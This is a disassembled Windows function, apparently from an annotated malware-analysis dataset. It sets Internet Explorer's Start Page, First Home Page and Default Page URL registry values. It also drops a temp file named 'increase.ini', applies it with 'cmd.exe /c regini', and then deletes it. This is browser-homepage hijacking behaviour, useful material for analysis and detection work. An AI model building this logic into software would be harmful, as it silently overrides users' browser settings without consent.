Function at 0x402f30
Capabilities:
Create process on windows
Delete file
Get common file path
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x425f2c
mov eax, dword fs:[0]
push eax
sub esp, 0x258
mov eax, dword [0x4321e0]
xor eax, esp
mov dword [esp + 0x254], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4321e0]
xor eax, esp
push eax
lea eax, [esp + 0x26c]
mov dword fs:[0], eax
lea esi, [esp + 0x18]
call fcn.00402d90
push 0
lea eax, [esp + 0x18]
push eax
push 0
push 2
push 0
push 0
push 0
mov dword [esp + 0x290], 0
mov ebp, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov esi, dword [esp + 0x34]
push str.SoftwareMicrosoftInternet_ExplorerMain
push SysReAllocStringLen
call ebp
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x402ff0
push esi
call edi
mov edx, dword [esp + 0x14]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea ecx, [eax + eax + 2]
push ecx
push esi
push 1
push 0
push str.Start_Page
push edx
call ebx
test eax, eax
je 0x402fe0
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x402ff6
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x403191
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cmp dword [esp + 0x27c], 0
je 0x403191
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x6a]
push eax
mov word [esp + 0x6c], dx
call fcn.0041a210
add esp, 0xc
lea ecx, [esp + 0x60]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea ebx, [esp + 0x60]
lea esi, [esp + 0x14]
call fcn.00401f30
push str.increase.ini
push str.increase.ini
mov byte [esp + 0x27c], 1
call edi
mov esi, eax
lea edi, [esp + 0x18]
call fcn.004067e0
push 0x42bea8
push 0x9b
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, dword [esp + 0x14]
test eax, eax
jne 0x403078
xor al, al
jmp 0x403081
push edi
call fcn.00411000
add esp, 4
movzx eax, al
test eax, eax
je 0x40315c
mov ebx, str.cmd.exe
lea esi, [esp + 0x20]
call fcn.00401f30
mov edx, dword [0x433174]
mov dword [esp + 0x1c], edx
push edi
push str._c_regini__s
lea edx, [esp + 0x24]
mov byte [esp + 0x27c], 3
call fcn.004067c0
push 0x3c
lea eax, [esp + 0x30]
push 0
push eax
call fcn.0041a210
mov ebx, dword [esp + 0x34]
mov esi, dword [esp + 0x30]
add esp, 0x14
xor eax, eax
lea ecx, [esp + 0x24]
push ecx
mov dword [esp + 0x28], 0x3c
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], esi
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x2c], 0x40
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x403119
mov eax, dword [esp + 0x5c]
test eax, eax
je 0x403119
push 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea edx, [esi - 0xc]
cmp edx, 0x433164
je 0x40313b
add esi, 0xfffffff4
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
test eax, eax
jg 0x40313b
push esi
call fcn.00417bee
add esp, 4
lea eax, [ebx - 0xc]
cmp eax, 0x433164
je 0x40315c
lea esi, [ebx - 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
test eax, eax
jg 0x40315c
push esi
call fcn.00417bee
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [edi - 0xc]
cmp ecx, 0x433164
je 0x403185
lea esi, [edi - 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
test eax, eax
jg 0x403185
push esi
call fcn.00417bee
add esp, 4
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esi, dword [esp + 0x18]
push 0
lea edx, [esp + 0x18]
push edx
push 0
push 2
push 0
push 0
push 0
push str.SoftwareMicrosoftInternet_ExplorerMain
push SysReAllocStringLen
call ebp
test eax, eax
jne 0x4031e5
push esi
call edi
mov ecx, dword [esp + 0x14]
lea eax, [eax + eax + 2]
push eax
push esi
push 1
push 0
push str.Start_Page
push ecx
call ebx
test eax, eax
je 0x4031da
mov edx, dword [esp + 0x14]
push edx
jmp 0x4031df
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [esp + 0x18]
push 0
lea ecx, [esp + 0x18]
push ecx
push 0
push 2
push 0
push 0
push 0
push str.SoftwareMicrosoftInternet_ExplorerMain
push SysReAllocStringLen
call ebp
test eax, eax
jne 0x403239
push esi
call edi
lea edx, [eax + eax + 2]
mov eax, dword [esp + 0x14]
push edx
push esi
push 1
push 0
push str.First_Home_Page
push eax
call ebx
test eax, eax
je 0x40322e
mov ecx, dword [esp + 0x14]
push ecx
jmp 0x403233
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [esp + 0x18]
push 0
lea eax, [esp + 0x18]
push eax
push 0
push 2
push 0
push 0
push 0
push str.SoftwareMicrosoftInternet_ExplorerMain
push SysReAllocStringLen
call ebp
test eax, eax
jne 0x40328d
push esi
call edi
mov edx, dword [esp + 0x14]
lea ecx, [eax + eax + 2]
push ecx
push esi
push 1
push 0
push str.Default_Page_URL
push edx
call ebx
test eax, eax
je 0x403282
mov eax, dword [esp + 0x14]
push eax
jmp 0x403287
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [esp + 0x18]
push 0
lea edx, [esp + 0x18]
push edx
push 0
push 2
push 0
push 0
push 0
push str.SoftwareMicrosoftInternet_ExplorerMain
push reloc.OLEAUT32.dll_SysReAllocString
call ebp
test eax, eax
jne 0x4032e1
push esi
call edi
mov ecx, dword [esp + 0x14]
lea eax, [eax + eax + 2]
push eax
push esi
push 1
push 0
push str.Start_Page
push ecx
call ebx
test eax, eax
je 0x4032d6
mov edx, dword [esp + 0x14]
push edx
jmp 0x4032db
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [esp + 0x18]
push 0
lea ecx, [esp + 0x18]
push ecx
push 0
push 2
push 0
push 0
push 0
push str.SoftwareMicrosoftInternet_ExplorerMain
push reloc.OLEAUT32.dll_SysReAllocString
call ebp
test eax, eax
jne 0x403335
push esi
call edi
lea edx, [eax + eax + 2]
mov eax, dword [esp + 0x14]
push edx
push esi
push 1
push 0
push str.First_Home_Page
push eax
call ebx
test eax, eax
je 0x40332a
mov ecx, dword [esp + 0x14]
push ecx
jmp 0x40332f
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [esp + 0x18]
push 0
lea eax, [esp + 0x18]
push eax
push 0
push 2
push 0
push 0
push 0
push str.SoftwareMicrosoftInternet_ExplorerMain
push reloc.OLEAUT32.dll_SysReAllocString
call ebp
test eax, eax
jne 0x403389
push esi
call edi
mov edx, dword [esp + 0x14]
lea ecx, [eax + eax + 2]
push ecx
push esi
push 1
push 0
push str.Default_Page_URL
push edx
call ebx
test eax, eax
je 0x40337e
mov eax, dword [esp + 0x14]
push eax
jmp 0x403383
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [esp + 0x18]
push 0
lea edx, [esp + 0x18]
push edx
push 0
push 2
push 0
push 0
push 0
push str.SoftwareWow6432NodeInternet_ExplorerMain
push reloc.OLEAUT32.dll_SysReAllocString
call ebp
test eax, eax
jne 0x4033dd
push esi
call edi
mov ecx, dword [esp + 0x14]
lea eax, [eax + eax + 2]
push eax
push esi
push 1
push 0
push str.Start_Page
push ecx
call ebx
test eax, eax
je 0x4033d2
mov edx, dword [esp + 0x14]
push edx
jmp 0x4033d7
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [esp + 0x18]
push 0
lea ecx, [esp + 0x18]
push ecx
push 0
push 2
push 0
push 0
push 0
push str.SoftwareWow6432NodeInternet_ExplorerMain
push reloc.OLEAUT32.dll_SysReAllocString
call ebp
test eax, eax
jne 0x403431
push esi
call edi
lea edx, [eax + eax + 2]
mov eax, dword [esp + 0x14]
push edx
push esi
push 1
push 0
push str.First_Home_Page
push eax
call ebx
test eax, eax
je 0x403426
mov ecx, dword [esp + 0x14]
push ecx
jmp 0x40342b
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [esp + 0x18]
push 0
lea eax, [esp + 0x18]
push eax
push 0
push 2
push 0
push 0
push 0
push str.SoftwareWow6432NodeInternet_ExplorerMain
push reloc.OLEAUT32.dll_SysReAllocString
call ebp
test eax, eax
jne 0x403485
push esi
call edi
mov edx, dword [esp + 0x14]
lea ecx, [eax + eax + 2]
push ecx
push esi
push 1
push 0
push str.Default_Page_URL
push edx
call ebx
test eax, eax
je 0x40347a
mov eax, dword [esp + 0x14]
push eax
jmp 0x40347f
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x18]
lea edx, [eax - 0xc]
cmp edx, 0x433164
je 0x4034b2
add eax, 0xfffffff4
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
test eax, eax
jg 0x4034b2
mov eax, dword [esp + 0x18]
add eax, 0xfffffff4
push eax
call fcn.00417bee
add esp, 4
mov ecx, dword [esp + 0x26c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x254]
xor ecx, esp
call fcn.004178c7
add esp, 0x264
ret